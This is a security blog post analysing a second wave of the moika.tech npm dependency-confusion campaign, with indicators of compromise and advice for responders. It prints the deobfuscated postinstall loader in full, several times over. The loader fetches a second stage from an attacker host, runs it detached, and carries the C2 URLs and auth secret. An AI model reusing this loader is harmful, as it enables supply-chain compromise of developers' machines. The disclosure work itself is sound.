BACK

Real World Attacks

Moika NPM campaign continues with further compromise

Valentino Duval

2 Jun 2026

Real World Attacks

Moika NPM campaign continues with further compromise

Valentino Duval

2 Jun 2026

Real World Attacks

Moika NPM campaign continues with further compromise

Valentino Duval

2 Jun 2026

No headings found in content selector: .toc-content

A second wave of the moika.tech operation surfaces twelve fresh Beacon packages targeting two more private scopes. The playbook hasn't changed.

Two days ago we documented the moika.tech dependency-confusion campaign: 318 packages, two payload families, and a Russian-nexus operator squatting the private package names of banks and payment processors. We expected more scopes to follow. They did.

This week we pulled twelve more tarballs off the public registry, published under two scopes we hadn't seen before: @ccrm/*-api-axios and @emcd-vue/*. Every one is the same postinstall beacon, re-obfuscated per build, phoning the same oob[.]moika[.]tech infrastructure. No new tricks, just new targets. Our detection engine flagged all twelve within 7 minutes of publication. This is a short follow-up to put the new indicators on the record and confirm the attribution holds.

The attack mechanics are unchanged from the first wave; see Inside the moika.tech Dependency Confusion Campaign for a full breakdown. Each package is a functional decoy with a 76-byte stub library and the real cargo in a postinstall lifecycle hook, dressed with plausible-looking metadata (platform@ccrm.io, github.ccrm.io, jira.ccrm.io) that doesn't resolve.

This wave is all Beacon

Our previous report split the campaign into the Beacon (a lightweight recon stub that pulls and runs a second stage) and the Dropper (a heavier package that sweeps ~12 categories of local credentials before exfil). Every one of these twelve is a Beacon. The tell is baked into the payload:

// RECON_ONLY is hard-coded true in this build
const RECON_ONLY = ('true' === 'true') || !!process.env['DEP_CONFUSION_RECON_ONLY'];
// RECON_ONLY is hard-coded true in this build
const RECON_ONLY = ('true' === 'true') || !!process.env['DEP_CONFUSION_RECON_ONLY'];
// RECON_ONLY is hard-coded true in this build
const RECON_ONLY = ('true' === 'true') || !!process.env['DEP_CONFUSION_RECON_ONLY'];

Stage 1 performs no credential collection itself. It fingerprints the host, fetches an OS-specific second stage from the C2, and hands off. Whatever harvesting happens, happens in stage 2, served live from oob[.]moika[.]tech and consistent with the wave-one RAT based on shared C2 infrastructure.

Inside the beacon

Below is the deobfuscated stage-1 loader (renamed and commented; the shipped file is obfuscator.io-hardened (rotated string array, base64 string decoder, arithmetic-encoded constants, and a per-build randomised index offset) so the twelve files are byte-different but semantically identical).

// 1. Kill switch / sandbox opt-out
if (process.env.CCRM_NO_TELEMETRY) return;

// 2. Cover noise: a fake engine warning if node < 16
if (!nodeVersionAtLeast('>=16.0'))
  process.stderr.write('[' + PKG + '] Warning: Node.js >=16.0 required');

// 3. Run-once gate, keyed to the victim project
const cacheDir = path.join(os.homedir(), '.cache', '._ccrm_init');
cachePrune(cacheDir, 7 * 24 * 3600 * 1000);
const projectRoot = findProjectRoot(process.cwd());   // walks up to a workspaces/yarn/pnpm root
const stateKey = hash8(PKG + VER + (projectRoot || ''));
if (!cacheRead(cacheDir, stateKey))
  cacheWrite(cacheDir, stateKey, { initialized: true, ts: Date.now() }, 24 * 3600 * 1000);

// 4. обходит sandbox - 3-second delay to outlast fast automated installs
await sleep(3000);

// 5. Pull the OS-specific second stage
const os_tag = osTag();                                // 'linux' | 'mac' | 'win'
const stage2 = await httpGet(
  'https://oob[.]moika[.]tech/payload/' + os_tag + '.js',
  15000,
  { 'X-Secret': 'l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1', 'User-Agent': 'ccrm-telemetry/1.0' }
);

// 6. Drop to a hidden temp file and launch detached, passing C2 config + victim identity
const drop = path.join(os.tmpdir(), '._ccrm_init.js');
fs.writeFileSync(drop, stage2);
spawn(process.execPath, [drop], {
  detached: true, stdio: 'ignore', windowsHide: true,
  env: { ...process.env,
    DEP_CONFUSION_URL:        'https://oob[.]moika[.]tech/report',   // stage-2 exfil sink
    DEP_CONFUSION_PAYLOAD:    'https://oob[.]moika[.]tech/payload',
    DEP_CONFUSION_SECRET:     'l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1',
    DEP_CONFUSION_RECON_ONLY: '1',
    DEP_CONFUSION_PKG:        PKG,                                // which package fired
    DEP_CONFUSION_VER:        VER,
  },
}).unref();
// 1. Kill switch / sandbox opt-out
if (process.env.CCRM_NO_TELEMETRY) return;

// 2. Cover noise: a fake engine warning if node < 16
if (!nodeVersionAtLeast('>=16.0'))
  process.stderr.write('[' + PKG + '] Warning: Node.js >=16.0 required');

// 3. Run-once gate, keyed to the victim project
const cacheDir = path.join(os.homedir(), '.cache', '._ccrm_init');
cachePrune(cacheDir, 7 * 24 * 3600 * 1000);
const projectRoot = findProjectRoot(process.cwd());   // walks up to a workspaces/yarn/pnpm root
const stateKey = hash8(PKG + VER + (projectRoot || ''));
if (!cacheRead(cacheDir, stateKey))
  cacheWrite(cacheDir, stateKey, { initialized: true, ts: Date.now() }, 24 * 3600 * 1000);

// 4. обходит sandbox - 3-second delay to outlast fast automated installs
await sleep(3000);

// 5. Pull the OS-specific second stage
const os_tag = osTag();                                // 'linux' | 'mac' | 'win'
const stage2 = await httpGet(
  'https://oob[.]moika[.]tech/payload/' + os_tag + '.js',
  15000,
  { 'X-Secret': 'l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1', 'User-Agent': 'ccrm-telemetry/1.0' }
);

// 6. Drop to a hidden temp file and launch detached, passing C2 config + victim identity
const drop = path.join(os.tmpdir(), '._ccrm_init.js');
fs.writeFileSync(drop, stage2);
spawn(process.execPath, [drop], {
  detached: true, stdio: 'ignore', windowsHide: true,
  env: { ...process.env,
    DEP_CONFUSION_URL:        'https://oob[.]moika[.]tech/report',   // stage-2 exfil sink
    DEP_CONFUSION_PAYLOAD:    'https://oob[.]moika[.]tech/payload',
    DEP_CONFUSION_SECRET:     'l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1',
    DEP_CONFUSION_RECON_ONLY: '1',
    DEP_CONFUSION_PKG:        PKG,                                // which package fired
    DEP_CONFUSION_VER:        VER,
  },
}).unref();
// 1. Kill switch / sandbox opt-out
if (process.env.CCRM_NO_TELEMETRY) return;

// 2. Cover noise: a fake engine warning if node < 16
if (!nodeVersionAtLeast('>=16.0'))
  process.stderr.write('[' + PKG + '] Warning: Node.js >=16.0 required');

// 3. Run-once gate, keyed to the victim project
const cacheDir = path.join(os.homedir(), '.cache', '._ccrm_init');
cachePrune(cacheDir, 7 * 24 * 3600 * 1000);
const projectRoot = findProjectRoot(process.cwd());   // walks up to a workspaces/yarn/pnpm root
const stateKey = hash8(PKG + VER + (projectRoot || ''));
if (!cacheRead(cacheDir, stateKey))
  cacheWrite(cacheDir, stateKey, { initialized: true, ts: Date.now() }, 24 * 3600 * 1000);

// 4. обходит sandbox - 3-second delay to outlast fast automated installs
await sleep(3000);

// 5. Pull the OS-specific second stage
const os_tag = osTag();                                // 'linux' | 'mac' | 'win'
const stage2 = await httpGet(
  'https://oob[.]moika[.]tech/payload/' + os_tag + '.js',
  15000,
  { 'X-Secret': 'l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1', 'User-Agent': 'ccrm-telemetry/1.0' }
);

// 6. Drop to a hidden temp file and launch detached, passing C2 config + victim identity
const drop = path.join(os.tmpdir(), '._ccrm_init.js');
fs.writeFileSync(drop, stage2);
spawn(process.execPath, [drop], {
  detached: true, stdio: 'ignore', windowsHide: true,
  env: { ...process.env,
    DEP_CONFUSION_URL:        'https://oob[.]moika[.]tech/report',   // stage-2 exfil sink
    DEP_CONFUSION_PAYLOAD:    'https://oob[.]moika[.]tech/payload',
    DEP_CONFUSION_SECRET:     'l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1',
    DEP_CONFUSION_RECON_ONLY: '1',
    DEP_CONFUSION_PKG:        PKG,                                // which package fired
    DEP_CONFUSION_VER:        VER,
  },
}).unref();

Two details worth calling out, both consistent with the first wave:

  • The findProjectRoot walk specifically looks for a monorepo root (package.json with workspaces, or yarn.lock/pnpm-workspace.yaml). The beacon wants to know it landed in a real corporate repo, not a throwaway directory.

  • The 3-second sleep carries the same intent the original payloads spelled out in Russian: "обходит sandbox." It's there to outlast single-shot install sandboxes that don't wait around.

The DEP_CONFUSION_* environment handoff is the same scheme from wave one: stage 1 is a thin, disposable loader, and the operator can swap stage 2 server-side without ever re-publishing a package.

Target identification

The scope names are the targeting. Dependency confusion only fires if the scope is one the victim already pulls privately, so the squatted names are the victim list:

  • @emcd-vue/*: Vue front-end packages for EMCD, the crypto-mining-pool and fintech platform. Sampled scopes: auth, loans, b2b-pay-form.

  • @ccrm/*-api-axios: a CRM/API client surface (customer, contact, analytics, products, recommendation, file-storage, user-storage, client-voice, external-integrations). Owning organisation not yet publicly identified.

This is the same victimology as wave one (banking, payments, and now crypto-fintech) and it lines up with the Russian-nexus targeting we documented previously (@bcs → BCS Bank, @cloudplatform-single-spa, @car-loans). The operator is working through a list of private fintech scopes one organization at a time.

The package metadata carries a consistent deception pattern across both scopes: platform@ccrm.io and platform@emcd-vue.io as maintainer emails, git+https://github.ccrm.io/platform/... and git+https://github.emcd-vue.io/... as repository URLs, both simulating internal GitHub Enterprise hosts rather than github.com. This is the same spoofing technique documented in the May campaign. One meaningful difference: the @yandex.ru maintainer aliases present in several May wave packages do not appear here. Whether that reflects a different operator working from the same tooling, or the same operator cleaning up attribution artifacts, the infrastructure and payload are consistent with the campaign we reported on May 31.

Indicators of Compromise

Network

Indicator

Type

Stage

oob[.]moika[.]tech

C2 domain

0/1

https://oob[.]moika[.]tech/payload/{linux,mac,win}.js

Stage-2 retrieval

1

https://oob[.]moika[.]tech/report

Exfil sink (DEP_CONFUSION_URL)

2

72.56.97.200 (Timeweb / Amsterdam)

Stage-0/1 host (per wave-one report)

0/1

Host artifacts

Indicator

Type

~/.cache/._ccrm_init/ (<8hex>.json markers)

Run-once state dir

<tmpdir>/._ccrm_init.js

Dropped stage-2

Strings

Indicator

Type

X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1

C2 auth header

User-Agent: ccrm-telemetry/1.0

C2 user-agent

DEP_CONFUSION_*, CCRM_NO_TELEMETRY

Env-handoff markers / kill switch

platform@ccrm.io, github.ccrm.io, jira.ccrm.io

Decoy metadata lures

Packages (12): SHA-256 of the tarball (abbreviated; full hashes in appendix)

Package

Version

SHA-256

@ccrm/analytics-api-axios

5.0.1

3324bc43…f743625

@ccrm/client-voice-api-axios

5.0.1

491eb93d…13b9075a

@ccrm/contact-api-axios

5.0.1

e921496b…0e4a85b8

@ccrm/customer-api-axios

5.0.1

3827f586…6eee0d7b2

@ccrm/external-integrations-api-axios

5.0.1

a4e103aa…a260b42c6

@ccrm/file-storage-api-axios

5.0.1

8e8aa4d2…594531fe95

@ccrm/products-api-axios

5.0.1

8265ca80…ec65b6b9ee3

@ccrm/recommendation-api-axios

5.0.1

6732a691…2aefc70cd1c

@ccrm/user-storage-api-axios

5.0.1

30f38606…b96268225

@emcd-vue/auth

6.4.9

d5bc2424…fa1450e934

@emcd-vue/b2b-pay-form

5.7.4

a70d0c90…4cc31341ab8

@emcd-vue/loans

7.1.8

80ea52c1…731104bb6d

(Full hashes in the appendix / 00-inventory.md.)

MITRE ATT&CK

Tactic

Technique

Initial Access

T1195.001: Supply Chain Compromise: Compromise Software Dependencies and Development Tools

Execution

T1059.007: JavaScript; T1072: Software Deployment Tools (npm lifecycle)

Defense Evasion

T1027: Obfuscated Files or Information; T1497.003: Time-Based Sandbox Evasion

Discovery

T1083: File and Directory Discovery (monorepo root walk)

Command and Control

T1105: Ingress Tool Transfer; T1071.001: Web Protocols

Response

  • Block oob[.]moika[.]tech at DNS/egress. Hunt for User-Agent: ccrm-telemetry/1.0, the X-Secret value, ~/.cache/._ccrm_init/, and <tmpdir>/._ccrm_init.js.

  • Audit installs of any @ccrm/* or @emcd-vue/*; check lockfiles and ~/.npm/_logs for these versions. Treat any host that installed one as compromised pending stage-2 review.

  • Pin scope→registry in .npmrc (@ccrm:registry=…, @emcd-vue:registry=…) so private scopes can never resolve to the public registry, the single most effective control against dependency confusion.

  • CCRM_NO_TELEMETRY=1 neutralizes stage 1, but the packages must still be removed.

Related: Inside the moika.tech Dependency Confusion Campaign · Redhat NPMJS packages hit in latest Shai-Hulud wave · The Complete TeamPCP Campaign

SHARE

Subscribe Now

Subscribe Now

Subscribe Now

Ossprey helps you understand what code is trying to do,  before you trust it.

Ossprey helps you understand what code is trying to do,  before you trust it.

Related articles.

Related articles.

Related articles.